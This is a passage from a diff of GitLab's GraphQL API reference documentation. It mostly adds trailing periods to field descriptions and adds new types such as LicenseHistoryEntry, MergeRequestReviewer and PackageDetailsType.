@@ -3026,17 +3179,16 @@ Autogenerated return type of GitlabSubscriptionActivate.
| `containsLockedProjects` | [`Boolean!`](#boolean) | Includes at least one project where the repository size exceeds the limit. |
| `customEmoji` | [`CustomEmojiConnection`](#customemojiconnection) | Custom emoji within this namespace. Available only when feature flag `custom_emoji` is enabled. |
| `description` | [`String`](#string) | Description of the namespace. |
-| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `emailsDisabled` | [`Boolean`](#boolean) | Indicates if a group has email notifications disabled. |
| `epic` | [`Epic`](#epic) | Find a single epic. |
| `epicBoard` | [`EpicBoard`](#epicboard) | Find a single epic board. |
| `epicBoards` | [`EpicBoardConnection`](#epicboardconnection) | Find epic boards. |
| `epics` | [`EpicConnection`](#epicconnection) | Find epics. |
-| `epicsEnabled` | [`Boolean`](#boolean) | Indicates if Epics are enabled for namespace |
+| `epicsEnabled` | [`Boolean`](#boolean) | Indicates if Epics are enabled for namespace. |
| `fullName` | [`String!`](#string) | Full name of the namespace. |
| `fullPath` | [`ID!`](#id) | Full path of the namespace. |
| `groupMembers` | [`GroupMemberConnection`](#groupmemberconnection) | A membership of a user within this group. |
-| `groupTimelogsEnabled` | [`Boolean`](#boolean) | Indicates if Group timelogs are enabled for namespace |
| `id` | [`ID!`](#id) | ID of the namespace. |
| `isTemporaryStorageIncreaseEnabled` | [`Boolean!`](#boolean) | Status of the temporary storage increase. |
| `issues` | [`IssueConnection`](#issueconnection) | Issues for projects in this group. |
@@ -3064,15 +3216,15 @@ Autogenerated return type of GitlabSubscriptionActivate.
| `storageSizeLimit` | [`Float`](#float) | Total storage limit of the root namespace in bytes. |
| `subgroupCreationLevel` | [`String`](#string) | The permission level required to create subgroups within the group. |
| `temporaryStorageIncreaseEndsOn` | [`Time`](#time) | Date until the temporary storage increase is active. |
-| `timelogs` | [`TimelogConnection!`](#timelogconnection) | Time logged in issues by group members. |
+| `timelogs` | [`TimelogConnection!`](#timelogconnection) | Time logged on issues in the group and its subgroups. |
| `totalRepositorySize` | [`Float`](#float) | Total repository size of all projects in the root namespace in bytes. |
| `totalRepositorySizeExcess` | [`Float`](#float) | Total excess repository size of all projects in the root namespace in bytes. |
| `twoFactorGracePeriod` | [`Int`](#int) | Time before two-factor authentication is enforced. |
-| `userPermissions` | [`GroupPermissions!`](#grouppermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`GroupPermissions!`](#grouppermissions) | Permissions for the current user on the resource. |
| `visibility` | [`String`](#string) | Visibility of the namespace. |
| `vulnerabilities` | [`VulnerabilityConnection`](#vulnerabilityconnection) | Vulnerabilities reported on the projects in the group and its subgroups. |
| `vulnerabilitiesCountByDay` | [`VulnerabilitiesCountByDayConnection`](#vulnerabilitiescountbydayconnection) | Number of vulnerabilities per day for the projects in the group and its subgroups. |
-| `vulnerabilitiesCountByDayAndSeverity` **{warning-solid}** | [`VulnerabilitiesCountByDayAndSeverityConnection`](#vulnerabilitiescountbydayandseverityconnection) | **Deprecated:** Use `vulnerabilitiesCountByDay`. Deprecated in 13.3. |
+| `vulnerabilitiesCountByDayAndSeverity` **{warning-solid}** | [`VulnerabilitiesCountByDayAndSeverityConnection`](#vulnerabilitiescountbydayandseverityconnection) | **Deprecated** in 13.3. Use `vulnerabilitiesCountByDay`. |
| `vulnerabilityGrades` | [`[VulnerableProjectsByGrade!]!`](#vulnerableprojectsbygrade) | Represents vulnerable project counts for each grade. |
| `vulnerabilityScanners` | [`VulnerabilityScannerConnection`](#vulnerabilityscannerconnection) | Vulnerability scanners reported on the project vulnerabilities of the group and its subgroups. |
| `vulnerabilitySeveritiesCount` | [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount) | Counts for each vulnerability severity in the group and its subgroups. |
@@ -3092,7 +3244,7 @@ Represents a Group Membership.
| `id` | [`ID!`](#id) | ID of the member. |
| `updatedAt` | [`Time`](#time) | Date and time the membership was last updated. |
| `user` | [`User!`](#user) | User that is associated with the member object. |
-| `userPermissions` | [`GroupPermissions!`](#grouppermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`GroupPermissions!`](#grouppermissions) | Permissions for the current user on the resource. |
### `GroupMemberConnection`
@@ -3117,7 +3269,7 @@ An edge in a connection.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `readGroup` | [`Boolean!`](#boolean) | Indicates the user can perform `read_group` on this resource |
+| `readGroup` | [`Boolean!`](#boolean) | Indicates the user can perform `read_group` on this resource. |
### `GroupReleaseStats`
@@ -3125,8 +3277,8 @@ Contains release-related statistics about a group.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `releasesCount` | [`Int`](#int) | Total number of releases in all descendant projects of the group. Will always return `null` if `group_level_release_statistics` feature flag is disabled |
-| `releasesPercentage` | [`Int`](#int) | Percentage of the group's descendant projects that have at least one release. Will always return `null` if `group_level_release_statistics` feature flag is disabled |
+| `releasesCount` | [`Int`](#int) | Total number of releases in all descendant projects of the group. Will always return `null` if `group_level_release_statistics` feature flag is disabled. |
+| `releasesPercentage` | [`Int`](#int) | Percentage of the group's descendant projects that have at least one release. Will always return `null` if `group_level_release_statistics` feature flag is disabled. |
### `GroupStats`
@@ -3142,14 +3294,14 @@ Represents the Geo sync and verification state of a group wiki repository.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `createdAt` | [`Time`](#time) | Timestamp when the GroupWikiRepositoryRegistry was created |
+| `createdAt` | [`Time`](#time) | Timestamp when the GroupWikiRepositoryRegistry was created. |
| `groupWikiRepositoryId` | [`ID!`](#id) | ID of the Group Wiki Repository. |
-| `id` | [`ID!`](#id) | ID of the GroupWikiRepositoryRegistry |
-| `lastSyncFailure` | [`String`](#string) | Error message during sync of the GroupWikiRepositoryRegistry |
-| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the GroupWikiRepositoryRegistry |
-| `retryAt` | [`Time`](#time) | Timestamp after which the GroupWikiRepositoryRegistry should be resynced |
-| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the GroupWikiRepositoryRegistry |
-| `state` | [`RegistryState`](#registrystate) | Sync state of the GroupWikiRepositoryRegistry |
+| `id` | [`ID!`](#id) | ID of the GroupWikiRepositoryRegistry. |
+| `lastSyncFailure` | [`String`](#string) | Error message during sync of the GroupWikiRepositoryRegistry. |
+| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the GroupWikiRepositoryRegistry. |
+| `retryAt` | [`Time`](#time) | Timestamp after which the GroupWikiRepositoryRegistry should be resynced. |
+| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the GroupWikiRepositoryRegistry. |
+| `state` | [`RegistryState`](#registrystate) | Sync state of the GroupWikiRepositoryRegistry. |
### `GroupWikiRepositoryRegistryConnection`
@@ -3254,6 +3406,7 @@ Describes an incident management on-call schedule.
| `description` | [`String`](#string) | Description of the on-call schedule. |
| `iid` | [`ID!`](#id) | Internal ID of the on-call schedule. |
| `name` | [`String!`](#string) | Name of the on-call schedule. |
+| `rotation` | [`IncidentManagementOncallRotation`](#incidentmanagementoncallrotation) | On-call rotation for the on-call schedule. |
| `rotations` | [`IncidentManagementOncallRotationConnection!`](#incidentmanagementoncallrotationconnection) | On-call rotations for the on-call schedule. |
| `timezone` | [`String!`](#string) | Time zone of the on-call schedule. |
@@ -3330,7 +3483,7 @@ An edge in a connection.
| `createdAt` | [`Time!`](#time) | Timestamp of when the issue was created. |
| `currentUserTodos` | [`TodoConnection!`](#todoconnection) | To-do items for the current user. |
| `description` | [`String`](#string) | Description of the issue. |
-| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `designCollection` | [`DesignCollection`](#designcollection) | Collection of design images associated with this issue. |
| `discussionLocked` | [`Boolean!`](#boolean) | Indicates discussion is locked on the issue. |
| `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. |
@@ -3360,8 +3513,9 @@ An edge in a connection.
| `subscribed` | [`Boolean!`](#boolean) | Indicates the currently logged in user is subscribed to the issue. |
| `taskCompletionStatus` | [`TaskCompletionStatus!`](#taskcompletionstatus) | Task completion status of the issue. |
| `timeEstimate` | [`Int!`](#int) | Time estimate of the issue. |
+| `timelogs` | [`TimelogConnection!`](#timelogconnection) | Timelogs on the issue. |
| `title` | [`String!`](#string) | Title of the issue. |
-| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title` |
+| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. |
| `totalTimeSpent` | [`Int!`](#int) | Total time reported as spent on the issue. |
| `type` | [`IssueType`](#issuetype) | Type of the issue. |
| `updatedAt` | [`Time!`](#time) | Timestamp of when the issue was last updated. |
@@ -3369,7 +3523,7 @@ An edge in a connection.
| `upvotes` | [`Int!`](#int) | Number of upvotes the issue has received. |
| `userDiscussionsCount` | [`Int!`](#int) | Number of user discussions in the issue. |
| `userNotesCount` | [`Int!`](#int) | Number of user notes of the issue. |
-| `userPermissions` | [`IssuePermissions!`](#issuepermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`IssuePermissions!`](#issuepermissions) | Permissions for the current user on the resource. |
| `webPath` | [`String!`](#string) | Web path of the issue. |
| `webUrl` | [`String!`](#string) | Web URL of the issue. |
| `weight` | [`Int`](#int) | Weight of the issue. |
@@ -3421,14 +3575,14 @@ Check permissions for the current user on a issue.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `adminIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_issue` on this resource |
-| `createDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `create_design` on this resource |
-| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource |
-| `destroyDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_design` on this resource |
-| `readDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `read_design` on this resource |
-| `readIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `read_issue` on this resource |
-| `reopenIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `reopen_issue` on this resource |
-| `updateIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `update_issue` on this resource |
+| `adminIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_issue` on this resource. |
+| `createDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `create_design` on this resource. |
+| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource. |
+| `destroyDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_design` on this resource. |
+| `readDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `read_design` on this resource. |
+| `readIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `read_issue` on this resource. |
+| `reopenIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `reopen_issue` on this resource. |
+| `updateIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `update_issue` on this resource. |
### `IssueSetAssigneesPayload`
@@ -3526,9 +3680,9 @@ Represents total number of issues for the represented statuses.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `all` | [`Int`](#int) | Number of issues with status ALL for the project |
-| `closed` | [`Int`](#int) | Number of issues with status CLOSED for the project |
-| `opened` | [`Int`](#int) | Number of issues with status OPENED for the project |
+| `all` | [`Int`](#int) | Number of issues with status ALL for the project. |
+| `closed` | [`Int`](#int) | Number of issues with status CLOSED for the project. |
+| `opened` | [`Int`](#int) | Number of issues with status OPENED for the project. |
### `Iteration`
@@ -3538,10 +3692,11 @@ Represents an iteration object.
| ----- | ---- | ----------- |
| `createdAt` | [`Time!`](#time) | Timestamp of iteration creation. |
| `description` | [`String`](#string) | Description of the iteration. |
-| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `dueDate` | [`Time`](#time) | Timestamp of the iteration due date. |
| `id` | [`ID!`](#id) | ID of the iteration. |
| `iid` | [`ID!`](#id) | Internal ID of the iteration. |
+| `iterationCadence` | [`IterationCadence!`](#iterationcadence) | Cadence of the iteration. |
| `report` | [`TimeboxReport`](#timeboxreport) | Historically accurate report about the timebox. |
| `scopedPath` | [`String`](#string) | Web path of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts. |
| `scopedUrl` | [`String`](#string) | Web URL of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts. |
@@ -3595,6 +3750,16 @@ An edge in a connection.
| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
| `node` | [`IterationCadence`](#iterationcadence) | The item at the end of the edge. |
+### `IterationCadenceUpdatePayload`
+
+Autogenerated return type of IterationCadenceUpdate.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+| `iterationCadence` | [`IterationCadence`](#iterationcadence) | The updated iteration cadence. |
+
### `IterationConnection`
The connection type for Iteration.
@@ -3718,7 +3883,7 @@ An edge in a connection.
| `color` | [`String!`](#string) | Background color of the label. |
| `createdAt` | [`Time!`](#time) | When this label was created. |
| `description` | [`String`](#string) | Description of the label (Markdown rendered as HTML for caching). |
-| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `id` | [`ID!`](#id) | Label ID. |
| `textColor` | [`String!`](#string) | Text color of the label. |
| `title` | [`String!`](#string) | Content of the label. |
@@ -3754,6 +3919,42 @@ An edge in a connection.
| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
| `node` | [`Label`](#label) | The item at the end of the edge. |
+### `LicenseHistoryEntry`
+
+Represents an entry from the Cloud License history.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `activatedAt` | [`Date`](#date) | Date when the license was activated. |
+| `company` | [`String`](#string) | Company of the licensee. |
+| `email` | [`String`](#string) | Email of the licensee. |
+| `expiresAt` | [`Date`](#date) | Date when the license expires. |
+| `id` | [`ID!`](#id) | ID of the license. |
+| `name` | [`String`](#string) | Name of the licensee. |
+| `plan` | [`String!`](#string) | Name of the subscription plan. |
+| `startsAt` | [`Date`](#date) | Date when the license started. |
+| `type` | [`String!`](#string) | Type of the license. |
+| `usersInLicenseCount` | [`Int`](#int) | Number of paid users in the license. |
+
+### `LicenseHistoryEntryConnection`
+
+The connection type for LicenseHistoryEntry.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `edges` | [`[LicenseHistoryEntryEdge]`](#licensehistoryentryedge) | A list of edges. |
+| `nodes` | [`[LicenseHistoryEntry]`](#licensehistoryentry) | A list of nodes. |
+| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+### `LicenseHistoryEntryEdge`
+
+An edge in a connection.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| `node` | [`LicenseHistoryEntry`](#licensehistoryentry) | The item at the end of the edge. |
+
### `MarkAsSpamSnippetPayload`
Autogenerated return type of MarkAsSpamSnippet.
@@ -3806,7 +4007,7 @@ An edge in a connection.
| `defaultMergeCommitMessageWithDescription` | [`String`](#string) | Default merge commit message of the merge request with description. |
| `defaultSquashCommitMessage` | [`String`](#string) | Default squash commit message of the merge request. |
| `description` | [`String`](#string) | Description of the merge request (Markdown rendered as HTML for caching). |
-| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `diffHeadSha` | [`String`](#string) | Diff head SHA of the merge request. |
| `diffRefs` | [`DiffRefs`](#diffrefs) | References of the base SHA, the head SHA, and the start SHA for this merge request. |
| `diffStats` | [`[DiffStats!]`](#diffstats) | Details about which files were changed in this merge request. |
@@ -3842,7 +4043,7 @@ An edge in a connection.
| `rebaseCommitSha` | [`String`](#string) | Rebase commit SHA of the merge request. |
| `rebaseInProgress` | [`Boolean!`](#boolean) | Indicates if there is a rebase currently in progress for the merge request. |
| `reference` | [`String!`](#string) | Internal reference of the merge request. Returned in shortened format by default. |
-| `reviewers` | [`UserConnection`](#userconnection) | Users from whom a review has been requested. |
+| `reviewers` | [`MergeRequestReviewerConnection`](#mergerequestreviewerconnection) | Users from whom a review has been requested. |
| `securityAutoFix` | [`Boolean`](#boolean) | Indicates if the merge request is created by @GitLab-Security-Bot. |
| `securityReportsUpToDateOnTargetBranch` | [`Boolean!`](#boolean) | Indicates if the target branch security reports are out of date. |
| `shouldBeRebased` | [`Boolean!`](#boolean) | Indicates if the merge request will be rebased. |
@@ -3860,16 +4061,17 @@ An edge in a connection.
| `targetBranchExists` | [`Boolean!`](#boolean) | Indicates if the target branch of the merge request exists. |
| `targetProject` | [`Project!`](#project) | Target project of the merge request. |
| `targetProjectId` | [`Int!`](#int) | ID of the merge request target project. |
-| `taskCompletionStatus` | [`TaskCompletionStatus!`](#taskcompletionstatus) | Completion status of tasks |
+| `taskCompletionStatus` | [`TaskCompletionStatus!`](#taskcompletionstatus) | Completion status of tasks. |
| `timeEstimate` | [`Int!`](#int) | Time estimate of the merge request. |
+| `timelogs` | [`TimelogConnection!`](#timelogconnection) | Timelogs on the merge request. |
| `title` | [`String!`](#string) | Title of the merge request. |
-| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title` |
+| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. |
| `totalTimeSpent` | [`Int!`](#int) | Total time reported as spent on the merge request. |
| `updatedAt` | [`Time!`](#time) | Timestamp of when the merge request was last updated. |
| `upvotes` | [`Int!`](#int) | Number of upvotes for the merge request. |
| `userDiscussionsCount` | [`Int`](#int) | Number of user discussions in the merge request. |
| `userNotesCount` | [`Int`](#int) | User notes count of the merge request. |
-| `userPermissions` | [`MergeRequestPermissions!`](#mergerequestpermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`MergeRequestPermissions!`](#mergerequestpermissions) | Permissions for the current user on the resource. |
| `webUrl` | [`String`](#string) | Web URL of the merge request. |
| `workInProgress` | [`Boolean!`](#boolean) | Indicates if the merge request is a draft. |
@@ -3911,14 +4113,14 @@ Represents the Geo sync and verification state of a Merge Request diff.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `createdAt` | [`Time`](#time) | Timestamp when the MergeRequestDiffRegistry was created |
-| `id` | [`ID!`](#id) | ID of the MergeRequestDiffRegistry |
-| `lastSyncFailure` | [`String`](#string) | Error message during sync of the MergeRequestDiffRegistry |
-| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the MergeRequestDiffRegistry |
+| `createdAt` | [`Time`](#time) | Timestamp when the MergeRequestDiffRegistry was created. |
+| `id` | [`ID!`](#id) | ID of the MergeRequestDiffRegistry. |
+| `lastSyncFailure` | [`String`](#string) | Error message during sync of the MergeRequestDiffRegistry. |
+| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the MergeRequestDiffRegistry. |
| `mergeRequestDiffId` | [`ID!`](#id) | ID of the Merge Request diff. |
-| `retryAt` | [`Time`](#time) | Timestamp after which the MergeRequestDiffRegistry should be resynced |
-| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the MergeRequestDiffRegistry |
-| `state` | [`RegistryState`](#registrystate) | Sync state of the MergeRequestDiffRegistry |
+| `retryAt` | [`Time`](#time) | Timestamp after which the MergeRequestDiffRegistry should be resynced. |
+| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the MergeRequestDiffRegistry. |
+| `state` | [`RegistryState`](#registrystate) | Sync state of the MergeRequestDiffRegistry. |
### `MergeRequestDiffRegistryConnection`
@@ -3954,15 +4156,65 @@ Check permissions for the current user on a merge request.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `adminMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_merge_request` on this resource |
-| `canMerge` | [`Boolean!`](#boolean) | Indicates the user can perform `can_merge` on this resource |
-| `cherryPickOnCurrentMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `cherry_pick_on_current_merge_request` on this resource |
-| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource |
-| `pushToSourceBranch` | [`Boolean!`](#boolean) | Indicates the user can perform `push_to_source_branch` on this resource |
-| `readMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `read_merge_request` on this resource |
-| `removeSourceBranch` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_source_branch` on this resource |
-| `revertOnCurrentMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `revert_on_current_merge_request` on this resource |
-| `updateMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `update_merge_request` on this resource |
+| `adminMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_merge_request` on this resource. |
+| `canMerge` | [`Boolean!`](#boolean) | Indicates the user can perform `can_merge` on this resource. |
+| `cherryPickOnCurrentMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `cherry_pick_on_current_merge_request` on this resource. |
+| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource. |
+| `pushToSourceBranch` | [`Boolean!`](#boolean) | Indicates the user can perform `push_to_source_branch` on this resource. |
+| `readMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `read_merge_request` on this resource. |
+| `removeSourceBranch` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_source_branch` on this resource. |
+| `revertOnCurrentMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `revert_on_current_merge_request` on this resource. |
+| `updateMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `update_merge_request` on this resource. |
+
+### `MergeRequestReviewer`
+
+A user from whom a merge request review has been requested.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `assignedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests assigned to the user. |
+| `authoredMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests authored by the user. |
+| `avatarUrl` | [`String`](#string) | URL of the user's avatar. |
+| `bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. |
+| `callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. |
+| `email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: `User.publicEmail`. |
+| `groupCount` | [`Int`](#int) | Group count for the user. Available only when feature flag `user_group_counts` is enabled. |
+| `groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. |
+| `id` | [`ID!`](#id) | ID of the user. |
+| `location` | [`String`](#string) | The location of the user. |
+| `mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. |
+| `name` | [`String!`](#string) | Human-readable name of the user. |
+| `projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. |
+| `publicEmail` | [`String`](#string) | User's public email. |
+| `reviewRequestedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests assigned to the user for review. |
+| `snippets` | [`SnippetConnection`](#snippetconnection) | Snippets authored by the user. |
+| `starredProjects` | [`ProjectConnection`](#projectconnection) | Projects starred by the user. |
+| `state` | [`UserState!`](#userstate) | State of the user. |
+| `status` | [`UserStatus`](#userstatus) | User status. |
+| `todos` | [`TodoConnection`](#todoconnection) | To-do items of the user. |
+| `userPermissions` | [`UserPermissions!`](#userpermissions) | Permissions for the current user on the resource. |
+| `username` | [`String!`](#string) | Username of the user. Unique within this instance of GitLab. |
+| `webPath` | [`String!`](#string) | Web path of the user. |
+| `webUrl` | [`String!`](#string) | Web URL of the user. |
+
+### `MergeRequestReviewerConnection`
+
+The connection type for MergeRequestReviewer.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `edges` | [`[MergeRequestReviewerEdge]`](#mergerequestrevieweredge) | A list of edges. |
+| `nodes` | [`[MergeRequestReviewer]`](#mergerequestreviewer) | A list of nodes. |
+| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+### `MergeRequestReviewerEdge`
+
+An edge in a connection.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| `node` | [`MergeRequestReviewer`](#mergerequestreviewer) | The item at the end of the edge. |
### `MergeRequestReviewerRereviewPayload`
@@ -4111,6 +4363,7 @@ Represents a milestone.
| `dueDate` | [`Time`](#time) | Timestamp of the milestone due date. |
| `groupMilestone` | [`Boolean!`](#boolean) | Indicates if milestone is at group level. |
| `id` | [`ID!`](#id) | ID of the milestone. |
+| `iid` | [`ID!`](#id) | Internal ID of the milestone. |
| `projectMilestone` | [`Boolean!`](#boolean) | Indicates if milestone is at project level. |
| `report` | [`TimeboxReport`](#timeboxreport) | Historically accurate report about the timebox. |
| `startDate` | [`Time`](#time) | Timestamp of the milestone start date. |
@@ -4158,7 +4411,7 @@ Contains statistics about a milestone.
| `complianceFrameworks` | [`ComplianceFrameworkConnection`](#complianceframeworkconnection) | Compliance frameworks available to projects in this namespace. Available only when feature flag `ff_custom_compliance_frameworks` is enabled. |
| `containsLockedProjects` | [`Boolean!`](#boolean) | Includes at least one project where the repository size exceeds the limit. |
| `description` | [`String`](#string) | Description of the namespace. |
-| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `fullName` | [`String!`](#string) | Full name of the namespace. |
| `fullPath` | [`ID!`](#id) | Full path of the namespace. |
| `id` | [`ID!`](#id) | ID of the namespace. |
@@ -4212,7 +4465,7 @@ Autogenerated return type of NamespaceIncreaseStorageTemporarily.
| ----- | ---- | ----------- |
| `author` | [`User!`](#user) | User who wrote this note. |
| `body` | [`String!`](#string) | Content of the note. |
-| `bodyHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `note` |
+| `bodyHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `note`. |
| `confidential` | [`Boolean`](#boolean) | Indicates if this note is confidential. |
| `createdAt` | [`Time!`](#time) | Timestamp of the note creation. |
| `discussion` | [`Discussion`](#discussion) | The discussion this note is a part of. |
@@ -4227,7 +4480,7 @@ Autogenerated return type of NamespaceIncreaseStorageTemporarily.
| `systemNoteIconName` | [`String`](#string) | Name of the icon corresponding to a system note. |
| `updatedAt` | [`Time!`](#time) | Timestamp of the note's last activity. |
| `url` | [`String`](#string) | URL to view this Note in the Web UI. |
-| `userPermissions` | [`NotePermissions!`](#notepermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`NotePermissions!`](#notepermissions) | Permissions for the current user on the resource. |
### `NoteConnection`
@@ -4252,12 +4505,12 @@ An edge in a connection.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `adminNote` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_note` on this resource |
-| `awardEmoji` | [`Boolean!`](#boolean) | Indicates the user can perform `award_emoji` on this resource |
-| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource |
-| `readNote` | [`Boolean!`](#boolean) | Indicates the user can perform `read_note` on this resource |
-| `repositionNote` | [`Boolean!`](#boolean) | Indicates the user can perform `reposition_note` on this resource |
-| `resolveNote` | [`Boolean!`](#boolean) | Indicates the user can perform `resolve_note` on this resource |
+| `adminNote` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_note` on this resource. |
+| `awardEmoji` | [`Boolean!`](#boolean) | Indicates the user can perform `award_emoji` on this resource. |
+| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource. |
+| `readNote` | [`Boolean!`](#boolean) | Indicates the user can perform `read_note` on this resource. |
+| `repositionNote` | [`Boolean!`](#boolean) | Indicates the user can perform `reposition_note` on this resource. |
+| `resolveNote` | [`Boolean!`](#boolean) | Indicates the user can perform `resolve_note` on this resource. |
### `OncallParticipantType`
@@ -4360,7 +4613,7 @@ Autogenerated return type of OncallScheduleUpdate.
### `Package`
-Represents a package in the Package Registry.
+Represents a package in the Package Registry. Note that this type is in beta and susceptible to changes.
| Field | Type | Description |
| ----- | ---- | ----------- |
@@ -4374,7 +4627,7 @@ Represents a package in the Package Registry.
| `tags` | [`PackageTagConnection`](#packagetagconnection) | Package tags. |
| `updatedAt` | [`Time!`](#time) | Date of most recent update. |
| `version` | [`String`](#string) | Version string. |
-| `versions` | [`PackageWithoutVersionsConnection`](#packagewithoutversionsconnection) | The other versions of the package. |
+| `versions` **{warning-solid}** | [`PackageConnection`](#packageconnection) | **Deprecated** in 13.11. This field is now only returned in the PackageDetailsType. |
### `PackageComposerJsonType`
@@ -4397,6 +4650,25 @@ The connection type for Package.
| `nodes` | [`[Package]`](#package) | A list of nodes. |
| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+### `PackageDetailsType`
+
+Represents a package details in the Package Registry. Note that this type is in beta and susceptible to changes.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `createdAt` | [`Time!`](#time) | Date of creation. |
+| `id` | [`PackagesPackageID!`](#packagespackageid) | ID of the package. |
+| `metadata` | [`PackageMetadata`](#packagemetadata) | Package metadata. |
+| `name` | [`String!`](#string) | Name of the package. |
+| `packageFiles` | [`PackageFileConnection`](#packagefileconnection) | Package files. |
+| `packageType` | [`PackageTypeEnum!`](#packagetypeenum) | Package type. |
